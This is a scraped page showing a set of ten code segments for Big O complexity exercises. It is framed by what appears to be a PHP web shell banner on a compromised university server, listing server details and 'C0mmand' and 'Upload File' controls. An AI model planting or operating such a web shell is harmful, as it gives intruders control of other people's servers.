Server IP : 172.16.15.8 / Your IP : 18.218.38.67 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/jwmccreary/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Assume N is size of problem, e.g., array size, length of a linked list, etc. // Determine Big O estimate of each of the following segments of code: // Example 1: x = 5 * N; // Example 2: i = 0; while (i < N) { // do stuff i++; } // Example 3: for (i = 0; i < N; i++) // do stuff // Example 4: i = 0; while (i < N) { // do stuff j = 0; while (j < N) { // do other stuff j++; } i++; } // Example 5: i = 0; while (i < N) { // do stuff j = i + 1; while (j < N) { // do other stuff j++; } i++; } // Example 6: i = 0; while (i < N) { // do stuff i += 2; } // Example 7: i = 1; while (i < N) { // do stuff i *= 2; } // Example 8: i = 0; while (i < N) { // do stuff j = 1; while (j < N) { // do other stuff j *= 2; } i++; } // Example 9: found = false; i = 0; while (i < N && !found) if ( some condition ) i++; else found = true; for (j = i + 1; j < N; j++) // do stuff // Example 10 i = 1; while (i < N) { // do stuff for (j = 0; j < N; j++) // do other stuff i *= 2; }